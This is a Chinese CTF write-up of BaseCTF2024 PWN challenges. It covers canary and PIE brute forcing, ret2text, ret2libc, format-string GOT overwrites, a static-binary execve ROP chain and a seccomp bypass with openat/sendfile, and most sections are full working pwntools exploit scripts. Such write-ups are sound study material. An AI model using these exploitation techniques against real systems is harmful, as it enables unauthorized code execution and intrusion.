BaseCTF2024新生赛-PWN方向做题笔记

复现平台:BaseCTF2024新生赛 - GZ::CTF

签个到吧

解题思路

nc连接即可getshell

没有 canary 我要死了!

解题思路

程序保护机制全开,用ida逆向分析后可知程序存在以当前时间为随机数种子的伪随机数验证和一个创建子进程的循环,且存在后门函数shell() 。

由于创建了子进程,我们就可以在子进程进行Canary和PIE的爆破,因为当我们将Canary错误修改后,程序会退出当前进程(子进程),回到父进程,而不会直接结束程序运行,这就允许我们重复尝试(PIE同理)

(PS:我的脚本就是跑不出来,照着WP改都不行qwq)

EXP

我的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from ctypes import cdll

context(os="linux", arch="amd64", log_level="info")
#io = remote("gz.imxbt.cn", 20864)
io = process('./canary')
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed = libc.time(0)
libc.srand(seed)
canary = b'\x00'

for _ in range(7):
for i in range(256):
a = libc.rand() % 50
sla(b'BaseCTF', str(a).encode())
pad = b'\x00'*(0x68) + canary + p8(i)
s(pad)
ru("welcome\n")
ret = rl()
if b'smashing' not in ret:
canary += p8(i)
print(hex(u64(canary.ljust(8, b'\x00'))))
break

shell = 0x02B1
while(1):
for i in range(16):
a = libc.rand() % 50
sla(b'BaseCTF', str(a).encode())
pad = b'\x00'*(0x68) + canary + b'a'*8 + p16(shell)
s(pad)
ret = rl()
if b'welcome' in ret:
rl()
shell += 0x1000
continue
else:
break

ia()

官方解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from ctypes import *

r = process("./pwn")
def dbg():
gdb.attach(r)

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed = libc.time(0)
libc.srand(seed)

canary = b'\x00'

for i in range(7):
for a in range(256):
num = libc.rand() % 50
r.sendlineafter(b'BaseCTF',str(num))

p = b'a' * 0x68 + canary + p8(a)
r.send(p)

r.recvuntil('welcome\n')
rec = r.readline()

if b'smashing' not in rec:
print(f"No.{i + 1} byte is {hex(a)}")
canary += p8(a)
break

print(f"canary is {hex(u64(canary))}")

shell = 0x02B1

while(1):
for i in range(16):
num = libc.rand() % 50
r.sendline(str(num))

p = b'A' * 0x68 + canary + b'A' * 0x8 + p16(shell)
r.send(p)

rec = r.readline()
print(rec)

if b'welcome' in rec:
r.readline()
shell += 0x1000
continue
else:
break

r.interactive()

Ret2text

解题思路

常规ret2text

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./Ret2text")
#io = remote("gz.imxbt.cn", 20879)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

shell = 0x4011BB
payload = b'\x00'*(0x28) + p64(shell)
s(payload)
ia()

PIE

解题思路

这道题考了ret2libc + PIE保护,关键在于如何二次执行main(),我们可以利用第一次栈溢出泄露出一个地址,但是想要重新执行main(),来getshell,却有些无从下手。我们知道,main()执行完后,程序会返回__libc_start_call_main,所以main()的栈上的返回地址的值是<__libc_start_call_main+128>,在gdb的调试中 这个地址为0x7ffff7c29d90,我们可以通过栈溢出覆盖地址的低字节,比如 将\x90改为\x00->\xff之间的任意值,而每一个最低字节的修改,都是一个地址 ,也就是说 我们可以跳转0x7ffff7c29d00->0x7ffff7c29dff之间任何一个地址,当然如果修改低两位字节,也可以跳转更多地址。

(个人废话:初学时也曾感慨为什么大家会这么想,想到这种巧妙的方法,其实只是因为我们拿不到其他地方的正确地址,无法跳转,只能依据现有的条件,去在有限的范围内寻找突破口,当然这是句废话,所有pwn题都是这样的~~~)

我们通过

1
x/60i 0x7ffff7c29d00

可以看到当中有一段magic gadget作用是将[rsp + 0x8] 指向的地址存入raxcall rax

1
2
0x7ffff7c29d89 <__libc_start_call_main+121>:	mov    rax,QWORD PTR [rsp+0x8]
0x7ffff7c29d8e <__libc_start_call_main+126>: call rax

而当我们刚刚结束main(),在ret到返回地址的时候会发现[rsp + 8] == *(rsp + 8) == 0x5555555551ee == main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
   0x555555555234 <main+70>                       mov    eax, 0                 EAX => 0
0x555555555239 <main+75> call printf@plt <printf@plt>

0x55555555523e <main+80> mov eax, 0 EAX => 0
0x555555555243 <main+85> leave
0x555555555244 <main+86> ret <__libc_start_call_main+128>

► 0x7ffff7c29d90 <__libc_start_call_main+128> mov edi, eax EDI => 0
0x7ffff7c29d92 <__libc_start_call_main+130> call exit <exit>

0x7ffff7c29d97 <__libc_start_call_main+135> call __nptl_deallocate_tsd <__nptl_deallocate_tsd>

0x7ffff7c29d9c <__libc_start_call_main+140> lock dec dword ptr [rip + 0x1f0505]
0x7ffff7c29da3 <__libc_start_call_main+147> sete al
0x7ffff7c29da6 <__libc_start_call_main+150> test al, al
─────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdce0 ◂— 0
#####(这里这里,重点在这里)01:0008│ 0x7fffffffdce8 —▸ 0x5555555551ee (main) ◂— endbr64
02:0010│ 0x7fffffffdcf0 ◂— 0x1ffffddd0
03:0018│ 0x7fffffffdcf8 —▸ 0x7fffffffdde8 —▸ 0x7fffffffe189 ◂— 0x63692f656d6f682f ('/home/ic')
04:0020│ 0x7fffffffdd00 ◂— 0
05:0028│ 0x7fffffffdd08 ◂— 0x5c87a33224748b86
06:0030│ 0x7fffffffdd10 —▸ 0x7fffffffdde8 —▸ 0x7fffffffe189 ◂— 0x63692f656d6f682f ('/home/ic')
07:0038│ 0x7fffffffdd18 —▸ 0x5555555551ee (main) ◂— endbr64

所以我们可以覆盖main()的返回地址的最低一位为\x89,从而利用这段magic gadget重启main(),然后就是正常的ret2libc的后续了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("gz.imxbt.cn", 20006)
#io = process('./vuln')
libc = ELF("libc.so.6")
elf = ELF("./vuln")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()

payload = b'a'*(0x107) + b'b' + b'\x89'
s(payload)
#libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x29d89
ru(b'b')
addr = u64(r(6).ljust(8, b'\x00'))
libc_base = addr - 0x29d89
print(hex(libc_base))
libc.address = libc_base
pop_rdi = next(libc.search(asm("pop rdi; ret;")))
bin_sh = next(libc.search(b"/bin/sh\x00"))
system = libc.sym["system"]
pad = b'a'*(0x108) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
#gdb.attach(io)
#pause()
s(pad)

ia()

echo

解题思路

禁用了许多命令,但题目提示可以使用 echo

可以内联命令echo $(</flag)(命令替换读文件内容);

可以重定向 + 管道绕过,echo </flag

Bash 报错泄露,< /flag. /flag

format_string_level0

解题思路

程序打开了flag文件,并将flag的值读入到栈上,又存在格式化字符串漏洞,可以是%s来读取字符串,但我们需要通过gab调试,才能知道flag是栈上的第8个参数

(%s的作用是从一个地址里读数据读到printf函数的缓冲区里 读到\x00(终止符)结束)

可以调试到我们读入结束的位置

结果

format_string_level1

解题思路

附件存在格式化字符串漏洞,以及一个可以读并打印flag的函数 readflag(),只要修改target为1即可进入 readflag()

利用 %n,将输出的字符数写入目标地址里即可,%?c是输出多少字符,?表示要输出的字符数。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
#io = process("./vuln")
io = remote("gz.imxbt.cn", 20041)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

target = 0x4040B0
payload = fmtstr_payload(6, {target:1})
#payload = b"%1c%7$na"+ p64(target)
#可以借助fmtstr_payload,也可以手动构造
s(payload)
ia()
~
"exp.py" 25L, 883B
批注:

一个可能的错误是这么写payload

1
payload = p64(target) + b"%1c%6$n"

这样写是打不通的,因为p64打包地址时会补充\x00,会给printf()截断了

还有一个可能的问题是: 为什么在 %7$n 后面加了 a

1
payload = b"%1c%7$na"+ p64(target)

这里是为了补全第6个参数,使得%1c%7$na一共有8字节,好让后面的target完整的成为第 7 个参数

format_string_level2

解题思路

printf_got输入到栈上,利用%s来泄露它,就能得到libc_base(libc的基址),附件的GOT表可改,可以向ptintf_got里写入system的函数地址,再通过read()读入/bin/sh,就会存进rdi,给printf使用(此时已被我们改为system)即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
#io = process("./format")
io = remote("gz.imxbt.cn", 20067)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

elf = ELF("./format")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
printf_got = elf.got['printf']
payload = b'%7$saaaa' + p64(printf_got)
#debug()
s(payload)
printf_addr = u64(r(6).ljust(8, b'\x00'))
ls(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']
ls(hex(libc_base))
system = libc_base + libc.sym['system']
#payload = fmtstr_payload(6, {printf_got:system}) ##虽然借助fmtstr_payload很方便,但也要确保自己也要会写哦
payload = (f"%{str(system & 0xff)}c%11$hhn").encode()
payload += (f"%{(str(((system >> 8) & 0xff) + (0x100 - (system & 0xff))))}c%12$hhn").encode()
payload += (f"%{(str(((system >> 16) & 0xff) + (0x100 - (system >> 8) & 0xff)))}c%13$hhn").encode()
payload = payload.ljust(40, b'a')
payload += p64(printf_got)
payload += p64(printf_got+1)
payload += p64(printf_got+2)
s(payload)
time.sleep(0.3)
s(b"/bin/sh")
ia()
批注:

这一步需要(0x100 - (system & 0xff))的原因,是为了与前面的(system & 0xff)之和为0x100,从来发生回环

1
payload += (f"%{(str(((system >> 8) & 0xff) + (0x100 - (system & 0xff))))}c%12$hhn").encode()

比如 :假设前面的输出已有0x98,后面又需写入0x30,因为%hhn每次会写入一字节(一字节的范围:0x00~0xff),所以先加上(0x100 - 0x98)使得最终会输出0x130,%hhn就会写入0x30。

简记就是:

每次 %hhn 写入都要让 “累积字符数 % 256 == 目标字节值”

而至于 (system >> 8)表示的含义则是把 system 地址右移 8 位【8 位(bit)是 1 字节(byte)】,用于取出第 1 字节;& 0xff 则是限定只取 1 字节。

format_string_level3

解题思路

只有一次fmt,可以劫持fini_array,将其修改为main()的地址,重复执行;或者利用程序打开了Canary保护机制的特点,修改_stack_chk_fail()的GOT表里的值为main()的地址,每次故意触发Canary保护,也可以重复执行main()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
#io = process("./vuln")
io = remote("gz.imxbt.cn", 20074)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
stack = 0x403320
main = 0x40121B
printf_got = elf.got['printf']
payload = fmtstr_payload(6, {stack:main})
payload = payload.ljust(0x110, b'a')
ru(b"-----\n")
s(payload)

payload = b'%7$saaaa' + p64(printf_got)
ru(b"-----\n")
#debug()
payload = payload.ljust(0x110, b'a')
s(payload)

printf_addr = u64(r(6).ljust(8, b'\x00'))
ls(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']
ls(hex(libc_base))
system = libc_base + libc.sym['system']
#payload = fmtstr_payload(6, {printf_got:system})

payload = (f"%{str(system & 0xff)}c%11$hhn").encode()
payload += (f"%{(str(((system >> 8) & 0xff) + (0x100 - (system & 0xff))))}c%12$hhn").encode()
payload += (f"%{(str(((system >> 16) & 0xff) + (0x100 - (system >> 8) & 0xff)))}c%13$hhn").encode()
payload = payload.ljust(40, b'a')
payload += p64(printf_got)
payload += p64(printf_got+1)
payload += p64(printf_got+2)
#debug()
payload = payload.ljust(0x110, b'a')
time.sleep(0.3)
s(payload)
s(b"/bin/sh")
ia()

ezstack

解题思路

题目给了一个特殊的gadget(add [rbp-3Dh], ebx),有了这个gadget就可以任意地址写,可以修改GOT表里的值,使得调用setvbuf变成调用system,题目里并没有可以泄露函数地址的地方,不能直接用system的地址完全代替setvbuf的地址,但可以在setvbuf地址的基础上加上system - setvbuf两者地址的偏移,来实现GOT表篡改,而在__libc_csu_init里可以修改rbpebx的值。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process("./pwn")
io = remote("gz.imxbt.cn", 20217)
#io = remote("gz.imxbt.cn", 20074)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi = 0x4006f3
add = 0x400658
csu = 0x4006EA
gets = elf.plt['gets']
setvbuf_got = elf.got['setvbuf']
setvbuf_plt = elf.plt['setvbuf']
system = libc.sym['system']
setvbuf = libc.sym['setvbuf']
delta = (system - setvbuf) & 0xffffffffffffffff
print(hex(system - setvbuf))
bss = 0x601081
print(hex(delta))

payload = p64(0)*2 + p64(csu) + p64(delta) + p64(setvbuf_got + 0x3D) + p64(0)*4 + p64(add) + p64(pop_rdi) + p64(bss) + p64(gets) + p64(pop_rdi) + p64(bss) + p64(setvbuf_plt)
#debug()
sl(payload)
sl(b"/bin//sh")
ia()
批注:

将 两者之间的差值做 按位与运算 是为了将负数转换为无符号补码,因为p64(负数) 是 非法的,因为 Python 不允许打包负数为无符号字节(会报错)

1
delta = (system - setvbuf) & 0xffffffffffffffff

将差值delta转为补码表示,无论delta为正还是为负,都可以成功表示

我把她丢了

解题思路

附件给了system()和字符串/bin/sh,只需要组合一下,将/bin/sh的地址存进rdi寄存器后,再调用system()即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process("./vuln")
io = remote("gz.imxbt.cn", 20091)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
elf = ELF("./vuln")
pop_rdi = 0x401196
bin_sh = 0x402008
shell = 0x40120F

pad = b'\x00'*(0x78) + p64(pop_rdi) + p64(bin_sh) + p64(shell)
rl()
s(pad)
ia()

彻底失去她

解题思路

个人废话:这题名可真形象,将这个题名与上一个题相比较一下,做题前盲猜是有system()无/bin/sh😁

附件给出了system(),无/bin/sh,利用read()读入/bin/sh到bss段上,再调用/bin/sh的地址即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process("./vuln")
io = remote("gz.imxbt.cn", 20096)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

elf = ELF("./vuln")
pop_rdi = 0x401196
pop_rsi = 0x4011ad
pop_rdx = 0x401265
bss = 0x4040A0
read = elf.sym['read']
system = elf.plt['system']
pad = b'\x00'*(0x12) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(read) + p64(pop_rdi) + p64(bss) + p64(system)
ru(b'could you tell me your name?\n')
#debug()
sl(pad)
sl(b'/bin/sh\x00')
ia()

她与你皆失

解题思路

无system无/bin/sh,就是常规的re2libc

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process("./pwn")
io = remote("gz.imxbt.cn", 20098)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

elf = ELF("./pwn")
libc = ELF("libc.so.6")
pop_rdi = 0x401176
pop_rsi = 0x401178
pop_rdx = 0x401221
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read = elf.sym['read']
main = elf.sym['main']
payload = b'a'*(0x12) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
rl()
s(payload)
puts_addr = u64(r(6).ljust(8, b'\x00'))
ls(hex(puts_addr))
libc.address = puts_addr - libc.sym['puts']
ls(hex(libc.address))
system = libc.sym['system']
bin_sh = next(libc.search(b"/bin/sh\x00"))
pad = b'a'*(0x12) + p64(pop_rdi+1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
#debug()
rl()
s(pad)
ia()

gift

解题思路

这是道静态编译的 PWN 题,libc 不再是动态链接的,也就是说程序运行时并不会加载常见的动态库。

静态编译下没有 system(),但可以手动 syscall execve,因为静态编译的程序已经包含了执行所需的一切代码,它也不依赖 libc 的 system() 函数,直接系统调用 execve("/bin/sh", NULL, NULL)就好

由于gets()不限制输入长度,可以直接利用ROPgadget生成可以getshell的rop链,生成命令如下:

1
ROPgadget --binary ./gift(这里是附件名称) --ropchain

也可以自己手动构造,但这里需借助几个gadget来将/bin/sh读入到栈上

我这里是使用 mov qword ptr [rsi], rax ; ret,先利用pop rax; ret将字符串/bin/sh存进rax,然后通过pop rsi; ret将bss段上的地址存进rsi,最后借助mov qword ptr [rsi], rax ; ret将 字符串/bin/sh存进bss段上,后续调用即可

1
0x000000000044a5e5 : mov qword ptr [rsi], rax ; ret

EXP

手动构造ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process("./gift")
io = remote("gz.imxbt.cn", 20105)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

pop_rdi = 0x401f2f
pop_rsi = 0x409f9e
pop_rax = 0x419484
pop_rbx = 0x401960
pop_rax_rdx_rbx = 0x47f2ea
mov_rsi_rax = 0x44a5e5
bss = 0x4c50e0
syscall = 0x401ce4
ru(b"same\n")
payload = b'a'*(0x28) + p64(pop_rax) + b'/bin//sh' + p64(pop_rsi) + p64(bss) + p64(mov_rsi_rax) + p64(pop_rax_rdx_rbx) + p64(0x3b) + p64(0)*2 + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(syscall)
#debug()
sl(payload)
ia()

ROPgadget自动生成的ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
rom pwn import *
from struct import pack
context(os="linux", arch="amd64", log_level="info")
#io = process("./gift")
io = remote("gz.imxbt.cn", 20105)
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000419484) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
pad = b'a'*(0x28) + p
io.recvline()
io.sendline(pad)
io.interactive()

orz!

解题思路

题目会接收用户输入并执行,但开启了sandbox(),禁用了open、read、write、execve这四个函数,就是变种ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
╭─icyice@icyice-virtual-machine ~/Desktop/BaseCTF2024新生赛/orz! 
╰─$ seccomp-tools dump ./orz
Enter your shellcode:

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

open可以用 fopen、creat、openat、fopen64、open64、freopen来代替

read可以用 pread、readv、preadv、mmap 来代替

write可以用 pwrite64、writev 来代替

我这里是用openat来代替open,sendfile来代替 read和write读取flag

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process("./orz")
io = remote("gz.imxbt.cn", 20108)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
